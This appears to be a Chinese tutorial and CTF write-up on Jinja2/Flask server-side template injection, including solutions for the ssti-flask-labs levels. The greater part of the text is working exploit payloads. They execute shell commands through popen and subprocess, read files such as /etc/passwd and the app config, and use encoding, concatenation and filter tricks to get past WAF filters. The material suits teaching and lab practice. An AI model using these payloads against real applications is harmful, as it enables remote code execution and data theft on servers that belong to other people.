模板引擎
模板引擎,是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
SSTI(模版注入)
SSTI 就是服务器端模板注入,漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句
举个栗子
正常模块代码
1 |
|
render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板
使用 Twig 模版引擎渲染页面,其中模版含有 变量,其模版变量值来自于GET请求参数$_GET[“name”]
存在SSTI漏洞
1 |
|
渲染模板内容直接受用户控制,服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出
因此常以{{5*5}}
等检测是否存在SSTI漏洞
这里在贴个图,常用于判断模板引擎类型
常见类
_dict__
:保存类实例或对象实例的属性变量键值对字典__class__
:返回调用的参数类型__mro__
:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 寻找基类__bases__
:返回类型列表 寻找基类__subclasses__
:返回object的子类__init__
:类的初始化方法__globals__
:函数会以字典类型返回当前位置的全部全局变量
Python中的SSTI
Jinja2
Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 块
Jinja2使用 结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。
Jinja2 模板同样支持控制语句
1 | {%……%} |
另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。
模板渲染函数
Flask提供了两个模板渲染函数 render_template()和render_template_string()
render_template()
render_template()函数第一个参数为渲染目标的html页面,第二个参数为需要加载到页面指定标签位置的内容
1 | from flask import Flask |
1 | <h1>Hello {{ name }}!</h1> |
通过变量取值的方式传入参数,无论name的值如何,都被当作字符串进行处理而不是模板语句,因此无法造成模版注入
render_template_string()
render_template_string()函数作用与前者类似,区别在于第一参数并非文件名而是字符串
1 | from flask import Flask |
无需创建index.html文件,将html代码直接写入字符串,然后使用该函数渲染该字符串中的html代码到网页中,而这恰好可以构成ssti,通过%s的形式获取而非变脸取值获取,导致可以使用恶意模板语句注入到模板,模板解析过程中执行该注入语句,从而实现ssti
解题思路
一般先通过__class__获取字典对象所属的类,再通过__base__(__bases[0]__)获取基类,然后使用,__subclasses__()获取子类列表,在子类列表中直接寻找可以利用的类进行getshell
网页中利用类需要使用该类的下标序号,如引用 file对象读取文件
1 | for c in {}.__class__.__base__.__subclasses__(): |
也通过jinja2的命令控制语句进行构造
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
使用dir可以查看file这个子类的内置方法:
1 | dir(().__class__.__bases__[0].__subclasses__()[40]) |
也可以使用__globals__去查看每个类所调用的东西(包括模块,类和变量等)
1 | search = 'os' #也可以是其他你想利用的模块 |
常用注入模块
查找命令执行的类,列如os._wrap_close
这里可以通过脚本去遍历,查找模块在父类的子类中的序号
1 | import requests |
通过使用类中的popen,system方法,进行命令执行
先初始化这个类
1 | {{"".__class__.__base__.__subclasses__()[133].__init__}} |
再调用文件属性
1 | {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__))}} |
这里会查询到一个字典,我们调用popen函数
1 | {{''.__class__.__base__.__subclasses__()[133].__init__.__globals__)['gogen'])}} |
调用函数后输入命令语句并读取
1 | {{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('ls /').read()}} |
1 | #寻找函数脚本: |
os模块
寻找 importlib 类,这个类可以利用load_module 导入os模块
或者通过寻找linecache函数导入os模块
1 | {{().__class__.__bases__[0].__subclasses__()[197].__init__.__globals__['linecache']['os'].popen('dir').read()}} |
寻找 subprocess.Popen,直接使用popan函数进行命令执行
1 | {{[].__class__.__base__.__subclasses__()[245]('ls /',shell=True,stdout=-1).communicate()[0].strip()}} |
寻找eval导入os模块
1 | for i in range(500): |
1 | {{().__class__.__bases__[0].__subclasses__()[499].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}} |
1 | warnings.catch_warnings |
os.listdir()
方法用于返回指定的文件夹包含的文件或文件夹的名字的列表,可以直接代替ls使用
文件读取
<class ‘frozen_importlib_external.FiieLoader’>,即文件读取模块,可以读取文件内容:
1 | ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('E:/passwd').read() |
这里贴一下各种payload:
popen的参数就是要执行的命令
1 | url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 |
基础payload:
1 | #命令执行 |
一些绕waf的姿势:
过滤[
1 | #getitem、pop |
过滤引号
1 | #chr函数 |
过滤下划线
1 | {{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__ |
过滤花括号
1 | #用{%%}标记 |
这里加个大佬的url里面有大部分绕过方法
SSTI之细说jinja2的常用构造及利用思路 - 知乎 (zhihu.com)
payload主要形式:
1 | 一种是获取os来执行命令 |
在此基础上加上各种姿势
过滤器join
1 | 假设关键字class被过滤 |
ssti-flask-labs
LEVEL 1
无过滤
1 | {{' '.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /app/flag').read()}} |
LEVEL 2
过滤花括号
利用控制语句进行构造
1 | {% print '.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /app/flag').read()%} |
控制语句需添加执行命令
LEVEL 3
无过滤,无回显
LEVEL 4
过滤[]
利用__getitem__()
代替索引中的[]
使用__getattribute__
或者点. 代替魔术方法中的[]
1 | {{().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('cat /app/flag').read()}} |
LEVEL 5
过滤 ’ ” 单双引号
利用request对象绕过
request存在两种形式,request.args和request,values,GET和POST传递的数据都可以被接受
1 | {{().__class__.__base__.__subclasses__()[133].__init__.__globals__[request.values.v1](request.values.v2).read()}} |
chr绕过
找到chr函数的位置
1 | {{().__class__.__mro__[-1].__subclasses__()[ $0$].__init__.__globals__.__builtins__.chr}} |
导入chr函数
1 | {% set chr=().__class__.__base__.__subclasses__()[139].__init__.__globals__.__builtins__.chr%} |
利用chr()函数构造索引
1 | {{().__class__.__base__.__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}} |
chr绕过
LEVEL 6
过滤了 _
可以利用加密进行绕过或者request对象绕过
unicode绕过
1 | {{''['\u005f\u005fclass\u005f\u005f']['\u005f\u005fbase\u005f\u005f']['\u005f\u005fsubclasses\u005f\u005f']()[133]['\u005f\u005finit\u005f\u005f']['\u005f\u005fglobals\u005f\u005f']['popen']('cat /app/flag').read()}} |
LEVEL 7
过滤了 .
中括号[]和 |attr() 进行绕过
|attr()为jinja2原生函数,是一个过滤器,他只查找属性获取并返回对象属性的值
1 | {{''['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['popen']('cat /app/flag')|attr('read')()}} |
LEVEL 8
关键词过滤
字符串拼接绕过
1 | {{''['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[133]['__in'+'it__']['__glo'+'bals__']['pop'+'en']('cat /app/flag').read()}} |
单双引号绕过
1 | {{''['__cla''ss__']['__ba''se__']['__subcl''asses__']()[133]['__in''it__']['__glo''bals__']['pop''en']('cat /app/flag').read()}} |
编码绕过
base64编码
1 | {{''['X19jbGFzc19f=='.decode('base64')]['X19iYXNlX18=='.decode('base64')]['X19zdWJjbGFzc2VzX18=='.decode('base64')]()[133]['X19pbml0X18=='.decode('base64')]['X19nbG9iYWxzX18=='.decode('base64')]['cG9wZW4=='.decode('base64')]('cat /app/flag').read()}} |
(这里base被过滤了这个方法用不了)
Unicode编码绕过,16进制编码绕过,8进制编码绕过
当system 和popen 被过滤时可以直接使用open方式发开文件
LEVEL 9
数字过滤
1 | {%set a='aaaaaaaaaaaaa'|length*'aaaaaaaaaa'|length+'aaa'|length%}{{' '.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('cat /app/flag').read()}} |
通过对a进行计算赋值代替数字
LEVEL 10
有时候flag会放在config文件(配置文件)中或者需要调用config文件中的模块时,需要config但会被过滤,这里就需要绕过config过滤(其过滤方法不是直接对单词进行过滤,而是进行赋值,如本道题config=None)
1 | {{config}} |
这个时候就需要用到下面两种方法
1 | {{ url_for.__globals__['current_app'].config }} |
混合过滤
LEVEL 11
过滤 ‘ “ 单双引号,+加号,request,. 点和[]中括号
1 | {{' '.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('whoami').read()}} |
1 | {%set a=dict(__cla=a,ss__=b)|join%} |
1 | {%set a=dict(__cla=a,ss__=b)|join%}{%set b=dict(__ba=a,se__=b)|join%}{%set c=dict(__subcla=a,sses__=b)|join%}{%set d=dict(__in=a,it__=b)|join%}{%set e=dict(__glo=a,bals__=b)|join%}{%set f=dict(po=a,pen=b)|join%}{%set g=dict(who=a,ami=b)|join%}{%set h=dict(__get=a,item__=b)|join%}{%set j=dict(re=a,ad=b)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(h)(133)|attr(d)|attr(e)|attr(h)(f)(g)|attr(j)()}} |
LEVEL 12
过滤了 _ 下划线 . 点 数字 \ 反斜杠 ‘ “ 单双引号 []中括号
1 | {{lipsum|string|list}} //将lipsum变量转换成字符串并将其拆分成一个字符列表 |
通过这个列表查看我们需要的字符
1 | Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '8', 'a', 'e', 'b', '8', '9', '7', 'b', '8', '0', '>'] |
这里先以获取 _ 举个例子,_ 下标为18
1 | {{(lipsum|string|list)|attr('pop')(18)}} |
但这里单引号被过滤了,所以我们需要先构造一个pop字符串
1 | {% set pop=dict(pop=a)|join %} |
1 | {%set one=dict(aaaaaaaaaaaaa=a)|join|length*dict(aaaaaaaaaa=b)|join|length+dict(aaa=c)|join|length%} |
1 | {%set one=dict(aaaaaaaaaaaaa=a)|join|length*dict(aaaaaaaaaa=b)|join|length+dict(aaa=c)|join|length%}{%set t=dict(aaaaaa=a)|join|length*dict(aaa=b)|join|length%}{%set pop=dict(pop=a)|join %}{%set x=(lipsum|string|list)|attr(pop)(t)%}{%set a=(x,x,dict(cla=a,ss=b)|join,x,x)|join%}{%set b=(x,x,dict(ba=a,se=b)|join,x,x)|join%}{%set c=(x,x,dict(subcla=a,sses=b)|join,x,x)|join%}{%set d=(x,x,dict(in=a,it=b)|join,x,x)|join%}{%set e=(x,x,dict(glo=a,bals=b)|join,x,x)|join%}{%set f=dict(po=a,pen=b)|join%}{%set g=dict(who=a,ami=b)|join%}{%set h=(x,x,dict(get=a,item=b)|join,x,x)|join%}{%set j=dict(re=a,ad=b)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(h)(one)|attr(d)|attr(e)|attr(h)(f)(g)|attr(j)()}} |
LEVEL 13
在LEVEL 12基础上减少过滤数字,增加过滤关键词和加号
1 | {%set one=dict(aaaaaaaaaaaaaa=a)|join|length*dict(aaaaaaaaaa=b)|join|length-dict(aaaaaaa=c)|join|length%}{%set t=dict(aaaaaa=a)|join|length*dict(aaa=b)|join|length%}{%set pop=dict(pop=a)|join %}{%set x=(lipsum|string|list)|attr(pop)(t)%}{%set a=(x,x,dict(cla=a,ss=b)|join,x,x)|join%}{%set b=(x,x,dict(ba=a,se=b)|join,x,x)|join%}{%set c=(x,x,dict(subcla=a,sses=b)|join,x,x)|join%}{%set d=(x,x,dict(in=a,it=b)|join,x,x)|join%}{%set e=(x,x,dict(glo=a,bals=b)|join,x,x)|join%}{%set f=dict(po=a,pen=b)|join%}{%set g=dict(who=a,ami=b)|join%}{%set h=(x,x,dict(get=a,item=b)|join,x,x)|join%}{%set j=dict(re=a,ad=b)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(h)(one)|attr(d)|attr(e)|attr(h)(f)(g)|attr(j)()}} |